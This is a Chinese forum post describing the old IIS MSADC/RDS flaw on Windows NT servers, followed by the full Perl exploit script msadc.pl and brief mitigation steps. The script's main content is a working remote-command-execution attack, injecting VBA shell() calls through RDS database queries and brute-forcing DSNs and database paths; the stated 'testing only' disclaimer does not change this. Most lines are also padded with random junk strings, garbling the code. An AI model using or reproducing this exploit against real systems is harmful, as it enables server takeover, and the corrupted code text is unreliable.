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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ms/!8X$Mz  
+DwE~l  
涉及程序: cD JeYduK  
Microsoft NT server `c.P`@KA  
;t\oM7J|  
描述: Je &O  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ~`Rb"Zn  
Bp9_\4  
详细: %k =c9ll@:  
如果你没有时间读详细内容的话,就删除: 2|}`?bY]i`  
c:\Program Files\Common Files\System\Msadc\msadcs.dll @ CNe)&U  
有关的安全问题就没有了。 8m"(T-wb6{  
1a@b-V2 d&  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 V*j1[d  
R^k)^!/$f  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Pk/3oF  
关于利用ODBC远程漏洞的描述,请参看: ]}z"H@k  
,9YgznQ  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm &qMt07  
Tg_#z  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 &OXm^f)K  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp {({Rb$  
+rWcfXOHM  
这里不再论述。 7 <<`9,  
F\Q X=n  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: G:4'')T  
7N4)T'B  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset w:HRzU>  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! \ Dccf_(Pb  
\m%Z;xKG  
%n)H(QPW  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 5KgAY;|  
@O9wit.  
#!perl ,vs#(d6G  
# =x3T+)qCNX  
# MSADC/RDS 'usage' (aka exploit) script {'NXJ!I;t  
# $i;m9_16  
# by rain.forest.puppy \ IX|{]*D  
# v7b +  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ##5e:<c&[  
# beta test and find errors! G}LOQ7  
_ZHDr[  
use Socket; use Getopt::Std; GAU7w"sE  
getopts("e:vd:h:XR", \%args); c@|f'V4  
)zAATBb4.  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Wf{&D>  
awU&{<,=g  
if (!defined $args{h} && !defined $args{R}) { 3 4:Y_*  
print qq~ !t!'  
Usage: msadc.pl -h <host> { -d <delay> -X -v } mTBSntZx  
-h <host> = host you want to scan (ip or domain) 9+"ISXS  
-d <seconds> = delay between calls, default 1 second `;)op3A'  
-X = dump Index Server path table, if available E++3GagdiD  
-v = verbose =<[M$"S7d6  
-e = external dictionary file for step 5 r8,'LZIz  
XDyFe'1I  
Or a -R will resume a command session 4WXr~?Vq9  
TH>7XK<90M  
~; exit;} KmpKyc[  
<V1y^EW0  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; yF@72tK  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} %(A@=0r#  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} V\*J"ZP&  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); PX >>h}%  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} G]RFGwGt  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } -7u_\XFk  
yW@YW_2;4  
if (!defined $args{R}){ $ret = &has_msadc; @ S)p{T5G  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 4|h>.^  
yi:1cLq2  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 1k!$#1d<  
. "cmd /c "; B4t,@,\O  
$in=<STDIN>; chomp $in; }iRRf_   
$command="cmd /c " . $in ; ge|Cv v  
;7U"wI_~c  
if (defined $args{R}) {&load; exit;} 4vyJ<b  
xp%LXx j  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; [B@R(z=H  
&try_btcustmr; L*zfZ&  
8d[!"lL  
print "\nStep 2: Trying to make our own DSN..."; Cig! 3  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; S9{&.[O  
6F; |x  
print "\nStep 3: Trying known DSNs..."; KvmXRf*z  
&known_dsn; U.c~l,5%"  
6ANA oWg*  
print "\nStep 4: Trying known .mdbs..."; ZO& F15$P  
&known_mdb; PMZ*ECIJU  
H+npe'm_Z  
if (defined $args{e}){ 8I<LZ{a10  
print "\nStep 5: Trying dictionary of DSN names..."; `P jS  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } T854}RX[{  
g?{7DI`  
print "Sorry Charley...maybe next time?\n"; FF~VV<a  
exit; \me-#: Gu  
'@f#GNRT  
############################################################################## )F m'i&F_  
cv9-ZOxJ  
sub sendraw { # ripped and modded from whisker Xp~O?2:3l  
sleep($delay); # it's a DoS on the server! At least on mine... +^3 *Y"6Z  
my ($pstr)=@_; )NnkoCNeE  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || DEt;$>tl 5  
die("Socket problems\n"); "#]V^Rzxh  
if(connect(S,pack "SnA4x8",2,80,$target)){ (d#W3  
select(S); $|=1; qb KcI+)47  
print $pstr; my @in=<S>; YJ{_%z|U  
select(STDOUT); close(S); q],/%W  
return @in; # 66vkf*  
} else { die("Can't connect...\n"); }} 4 IXa[xAm  
NT<}-^  
############################################################################## i+~H~k}"X  
@T)>akEOt  
sub make_header { # make the HTTP request YzYj/,?r  
my $msadc=<<EOT /Y8{?  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 }u.1$Y  
User-Agent: ACTIVEDATA B+lnxr0t  
Host: $ip aj}#~v1  
Content-Length: $clen hD,@>ky  
Connection: Keep-Alive VL2ACv(  
Y*YV/E.  
ADCClientVersion:01.06  EHda  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ]]/p.#oD,  
N[wyi&m4  
--!ADM!ROX!YOUR!WORLD! oD_#oX5\  
Content-Type: application/x-varg ;_E][m  
Content-Length: $reqlen Rip[  
PjkjUP  
EOT cWp5pGIzfp  
; $msadc=~s/\n/\r\n/g; =z9FjK  
return $msadc;} 1G 63eH)!  
%$=}ePD  
############################################################################## m-'+)lB  
0 2q*z>:^  
sub make_req { # make the RDS request fX}dQN~z  
my ($switch, $p1, $p2)=@_; !==C@cH<N  
my $req=""; my $t1, $t2, $query, $dsn; zqm/<]A*l  
;c|G  
if ($switch==1){ # this is the btcustmr.mdb query 4n/CS AT1  
$query="Select * from Customers where City=" . make_shell(); 8[d6 s  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . q@}tv =}  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ,e+S7 YX  
^A$p)`KR  
elsif ($switch==2){ # this is general make table query J4jL%5t  
$query="create table AZZ (B int, C varchar(10))"; 1VB{dgr  
$dsn="$p1";} uEdeA'*^  
_}Ec[c  
elsif ($switch==3){ # this is general exploit table query qQe23,x@5  
$query="select * from AZZ where C=" . make_shell(); @^^,VgW[  
$dsn="$p1";} tV9K5ON  
ya'OI P `  
elsif ($switch==4){ # attempt to hork file info from index server no8FSqLUS~  
$query="select path from scope()"; B8 R&Q8Q  
$dsn="Provider=MSIDXS;";} ci`N ,&:R  
T4x[ \v5d  
elsif ($switch==5){ # bad query ;{ESo?$*  
$query="select"; -](3iPy}  
$dsn="$p1";} NXdT"O=P  
b0[H{q-z{X  
$t1= make_unicode($query); yA^+<uz}  
$t2= make_unicode($dsn); |=#uzp7*  
$req = "\x02\x00\x03\x00"; eG%Q 3h  
$req.= "\x08\x00" . pack ("S1", length($t1)); e*pYlm  
$req.= "\x00\x00" . $t1 ; RhI>Ak;-  
$req.= "\x08\x00" . pack ("S1", length($t2)); ){"-J&@?  
$req.= "\x00\x00" . $t2 ; |"k+j_/+  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 8&++S> <  
return $req;} we2D!Ywr  
9pq-"?vHY0  
############################################################################## SAN/ fnM  
k>!A~gfP~  
sub make_shell { # this makes the shell() statement A IsXu"  
return "'|shell(\"$command\")|'";} Q#sLIZ8=  
u;=a=>05IR  
############################################################################## _A=Pr _kN  
!KmSLr7xU  
sub make_unicode { # quick little function to convert to unicode g:fzf>oQ>p  
my ($in)=@_; my $out; H(ds  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ~19&s~  
return $out;} 9Xeg &Z|!  
?V(h@T  
############################################################################## $s!2D"wl n  
1n EW'F  
sub rdo_success { # checks for RDO return success (this is kludge) DeGcS1_?  
my (@in) = @_; my $base=content_start(@in); {{Z3M>Q  
if($in[$base]=~/multipart\/mixed/){ dS~#Lzm  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} o;7_*=i  
return 0;} $D~vuA7  
uDsof?z  
############################################################################## lwp(Pq  
Ib0@,yS[  
sub make_dsn { # this makes a DSN for us c~{)vL0K  
my @drives=("c","d","e","f"); 992cy2,Fb  
print "\nMaking DSN: "; WcKL=Z?(  
foreach $drive (@drives) { ys Td'J  
print "$drive: "; VTwJtWnq  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . "D.`:9sk0  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" rT28q .  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); +<\.z*  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; W,p?}KiO T  
return 0 if $2 eq "404"; # not found/doesn't exist VVm8bl.q  
if($2 eq "200") { d9yfSZ  
foreach $line (@results) { f>jAu;S  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 0j(/N  
} return 0;} ;8> TD&]{  
"CF{Mu|Q=  
############################################################################## ,-_\Y hY>  
/\|Behif  
sub verify_exists { l|'{Cb   
my ($page)=@_; F}{uY(hv"[  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 8@d,TjJDo  
return $results[0];} /Q2{w >^DK  
EHcgWlT u  
############################################################################## 6YpP/ K  
7W `gN[*  
sub try_btcustmr { .lIkJQ3d  
my @drives=("c","d","e","f"); q5u"v  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ahqsbNu1  
j;_ >,\  
foreach $dir (@dirs) { A"R5Fd%6pc  
print "$dir -> "; # fun status so you can see progress Q:sw*7"F  
foreach $drive (@drives) { Qr$Ay3#k  
print "$drive: "; # ditto $(ei<cAV  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; R,KoymXP  
$reqlenlen=length( "$reqlen" ); LGF5yRk  
$clen= 206 + $reqlenlen + $reqlen; #ybtjsu'"U  
I.RmBUq):s  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); WR@TH bU  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} w} 1~  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ieG%D HN  
d6;"zW|Ec  
############################################################################## >Sua:Uff  
D}6~2j  
sub odbc_error { CiTjRJ-ZW)  
my (@in)=@_; my $base; pv){R;f  
my $base = content_start(@in); w8>  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this t&L+]I'P3  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; )H`1CcT  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; p:CpY'KV_  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; D+xHTQNTL  
return $in[$base+4].$in[$base+5].$in[$base+6];} `dK%I  U  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; t +@UC+aW  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 6;vfl*  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 9_<>#)u5  
FT+[[9i  
############################################################################## k^v P|*eu  
?^z.WQ|f@  
sub verbose { "0#d F:qt  
my ($in)=@_; H:>i:\J/M9  
return if !$verbose; 1.y|bB+kB  
print STDOUT "\n$in\n";} K`#bLCXEV0  
:{ Q[kYj  
############################################################################## ";$rcg"%X  
f*& 4d  
sub save { @ob4y  
my ($p1, $p2, $p3, $p4)=@_;  (zL(  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; }[m,HA<j  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; tNbZ{=I>  
close OUT;} v6q oH)n  
'k?*?XxG  
############################################################################## szW85{<+  
u AmDXqJ 3  
sub load { BT8L'qEj  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; >V1v.JH  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Y6r<+#V  
@p=<IN>; close(IN); x=~$ik++  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); '#p2v'A  
$target= inet_aton($ip) || die("inet_aton problems"); 7lYiufg  
print "Resuming to $ip ..."; G>yTv`-  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; :Lze8oY(D}  
if($p[1]==1) { 0281"aO  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; c-gpO|4>  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; POtwT">z  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 6o!Y^^/U  
if (rdo_success(@results)){print "Success!\n";} }:2GD0Ru  
else { print "failed\n"; verbose(odbc_error(@results));}} rS^+y{7  
elsif ($p[1]==3){ ]E!b&  
if(run_query("$p[3]")){ /a:sWmxMT  
print "Success!\n";} else { print "failed\n"; }} sp'f>F2]  
elsif ($p[1]==4){ uF89B-t  
if(run_query($drvst . "$p[3]")){ 236,o {9e  
print "Success!\n"; } else { print "failed\n"; }}  8%W(",nd  
exit;} 1 /dy@'  
"ABg,^jf  
############################################################################## i r/-zp_  
(^4V]N&  
sub create_table { heN?lmC  
my ($in)=@_; ueD_<KjE=  
$reqlen=length( make_req(2,$in,"") ) - 28; :kz"W ya.  
$reqlenlen=length( "$reqlen" ); Q"2J2211  
$clen= 206 + $reqlenlen + $reqlen; 9pJk.Np0   
my @results=sendraw(make_header() . make_req(2,$in,"")); M8HHyV[AmC  
return 1 if rdo_success(@results); "fTW2D74  
my $temp= odbc_error(@results); verbose($temp); DcL;7IT  
return 1 if $temp=~/Table 'AZZ' already exists/; suP/I?4'@  
return 0;} u^Sa{Jk=  
qe{:9  
############################################################################## w%L::Z4  
./# F,^F2  
sub known_dsn { "g=g' W#  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ub,GF?9  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", SZ'2/#R>  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", [@LA<Z_  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ?1kXV n$  
xYUC|c1Q9  
foreach $dSn (@dsns) { XzF-g*e  
print "."; k9Xv@v  
next if (!is_access("DSN=$dSn")); YLVZ]fN=>  
if(create_table("DSN=$dSn")){  wq@{85  
print "$dSn successful\n"; K.T.?ug;:  
if(run_query("DSN=$dSn")){ GjD^\d/  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { i SD?y#  
print "Something's borked. Use verbose next time\n";}}} print "\n";} )J<VDO:_YA  
l k?@ =U~  
############################################################################## 7)U08"  
(o5^@aDr  
sub is_access { ?7]UbtW[  
my ($in)=@_; / 8 0Q  
$reqlen=length( make_req(5,$in,"") ) - 28; ;Or]x?-  
$reqlenlen=length( "$reqlen" ); q{:]D(   
$clen= 206 + $reqlenlen + $reqlen; pDloew  
my @results=sendraw(make_header() . make_req(5,$in,"")); ,6iXlch  
my $temp= odbc_error(@results); Je1'0h9d  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Q?uHdmY*X  
return 0;} C@#KZ`c)  
: 3 aZ_  
############################################################################## R$Or&:E ^  
S_ELV#X  
sub run_query { \J0fr'(S  
my ($in)=@_; 9\J.AAk~/  
$reqlen=length( make_req(3,$in,"") ) - 28; <<5x"W(,  
$reqlenlen=length( "$reqlen" ); LI`H,2Km  
$clen= 206 + $reqlenlen + $reqlen; aR0'$*3E  
my @results=sendraw(make_header() . make_req(3,$in,"")); M8p6f)l3  
return 1 if rdo_success(@results); 7i@vj7K  
my $temp= odbc_error(@results); verbose($temp); Z| f~   
return 0;} A0f98 ?j^  
Uxl7O4J@H  
############################################################################## A<$w }Fy;  
{`>;I  
sub known_mdb { lK 0pr  
my @drives=("c","d","e","f","g"); 3 J!J#  
my @dirs=("winnt","winnt35","winnt351","win","windows"); .WV5Gf)  
my $dir, $drive, $mdb; %c"t`  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; nA)KRCi  
LZ 3PQL  
# this is sparse, because I don't know of many a58]#L~  
my @sysmdbs=( "\\catroot\\icatalog.mdb", $YztLcn   
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", r-aCa/4y!  
"\\system32\\certmdb.mdb", $(=0J*ND"  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% lc8zF5  
8EBy5X}US  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", dtDT^~  
"\\cfusion\\cfapps\\forums\\forums_.mdb", zHu w[  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", '] $mt  
"\\cfusion\\cfapps\\security\\realm_.mdb", =(cfo_B@K  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 7(W"NF{r  
"\\cfusion\\database\\cfexamples.mdb", r 1x2)  
"\\cfusion\\database\\cfsnippets.mdb", 7~2c"WE  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", E-?@9!2 &  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ~qu}<u)P  
"\\cfusion\\brighttiger\\database\\cleam.mdb", /ho7O/aAa  
"\\cfusion\\database\\smpolicy.mdb", JMVh\($,x  
"\\cfusion\\database\cypress.mdb", Sz'H{?"  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", :5, k64'D  
"\\website\\cgi-win\\dbsample.mdb", E$1P H)  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", | ycN)zuE  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" H b}(.`  
); #these are just T}r}uw`  
foreach $drive (@drives) { z1vSt[s  
foreach $dir (@dirs){ i~sW_f+  
foreach $mdb (@sysmdbs) { 7~ =r9-&G  
print "."; |J:kL3g  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ @||GMA+|  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; d"U'\ID2y  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ! a!^'2  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 3:ELYn  
} else { print "Something's borked. Use verbose next time\n"; }}}}} V|`w/P9g4  
g3Z"ri~!G  
foreach $drive (@drives) { ,JONc9  
foreach $mdb (@mdbs) { 3U!#rz"  
print "."; (\o &Gl  
if(create_table($drv . $drive . $dir . $mdb)){ <#%kmYSL  
print "\n" . $drive . $dir . $mdb . " successful\n"; 4E 0 Y=  
if(run_query($drv . $drive . $dir . $mdb)){ l37) Q  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 5kdh!qy[$,  
} else { print "Something's borked. Use verbose next time\n"; }}}} qw35LyL  
} tuIQiWHbM  
\F5d p  
############################################################################## Ca k-J~=  
7:Be.(a  
sub hork_idx { \yKYBfp-p  
print "\nAttempting to dump Index Server tables...\n";  5JggU  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; <F6LC_  
$reqlen=length( make_req(4,"","") ) - 28; ( *Fb/  
$reqlenlen=length( "$reqlen" ); sB+ B,DF  
$clen= 206 + $reqlenlen + $reqlen; MNWuw;:v  
my @results=sendraw2(make_header() . make_req(4,"","")); 4khc*fh  
if (rdo_success(@results)){ C $*#<<G  
my $max=@results; my $c; my %d; V:*6R/Ft  
for($c=19; $c<$max; $c++){ w3E#v&"=Y  
$results[$c]=~s/\x00//g; k+;XQEH  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; P&.-c _  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; U{?#W  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ibL    
$d{"$1$2"}="";} d*tn&d~k,  
foreach $c (keys %d){ print "$c\n"; } .\}nDT  
} else {print "Index server doesn't seem to be installed.\n"; }} W~Ae&gcn#  
v FWg0 $,  
############################################################################## ]!'9Y}9a  
dO!5` ]  
sub dsn_dict { c6~<vV'}  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); i/{`rv*K[  
while(<IN>){ w6<zPrA  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; F$nc9x[S  
next if (!is_access("DSN=$dSn")); &)Z]nNVb  
if(create_table("DSN=$dSn")){ ?v@pB>NZ  
print "$dSn successful\n"; "Kc1@EX=  
if(run_query("DSN=$dSn")){ rPXy(d1<`S  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Su*f`~G];  
print "Something's borked. Use verbose next time\n";}}} 6!$2nK+  
print "\n"; close(IN);} >NMq^J'/  
_]6n]koD,  
############################################################################## AoFxho  
{No Y`j5S  
sub sendraw2 { # ripped and modded from whisker >`o;hTS  
sleep($delay); # it's a DoS on the server! At least on mine... #2*6esP  
my ($pstr)=@_; klxNGxWAX  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || MR}h}JEx0  
die("Socket problems\n"); %Gc)$z/Wd  
if(connect(S,pack "SnA4x8",2,80,$target)){ Xn # v!  
print "Connected. Getting data"; Z>(K|3_  
open(OUT,">raw.out"); my @in; j7sRmQCl  
select(S); $|=1; print $pstr; UtYwG#/w  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} U C..)9  
close(OUT); select(STDOUT); close(S); return @in; hzV= 7  
} else { die("Can't connect...\n"); }} L,_Z:\^  
k r ga!,I  
############################################################################## bD4aSubN  
.)[0yW&  
sub content_start { # this will take in the server headers . l-eJ  
my (@in)=@_; my $c; b<\aJb{2  
for ($c=1;$c<500;$c++) { +(/' b' *  
if($in[$c] =~/^\x0d\x0a/){ N"-U)d-.  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } K6G+sBw[  
else { return $c+1; }}} !.@F,wZvY  
return -1;} # it should never get here actually x03@}M1  
=BroH\  
############################################################################## aK5O0`  
RZbiiMC>  
sub funky { *RJiHcII  
my (@in)=@_; my $error=odbc_error(@in); ~jDf,a2  
if($error=~/ADO could not find the specified provider/){ 5h@5.-}  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; v0u, :eZ4  
exit;} UJ7{FN=@t  
if($error=~/A Handler is required/){ cllnYvr3  
print "\nServer has custom handler filters (they most likely are patched)\n"; :7[4wQDt4  
exit;} f <pJ_  
if($error=~/specified Handler has denied Access/){ r O-=):2  
print "\nServer has custom handler filters (they most likely are patched)\n"; K_o[m!:jU  
exit;}} ':#DROe!  
:)DvZxHE@  
############################################################################## ZIs=%6""&  
Apbgm[m|{  
sub has_msadc { RhD   
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); >bbvQb +j  
my $base=content_start(@results); P&5kO;ia  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Yx':~  
return 0;} nNpXkI:  
't n-o  
######################## 3e ?J#;  
g66x;2Q  
EWK?vs  
解决方案: W,bu=2K6  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll h%8C_m A  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 P0ZY;/e5h  
ra}t#Xt`  
拿出来充数 哈哈
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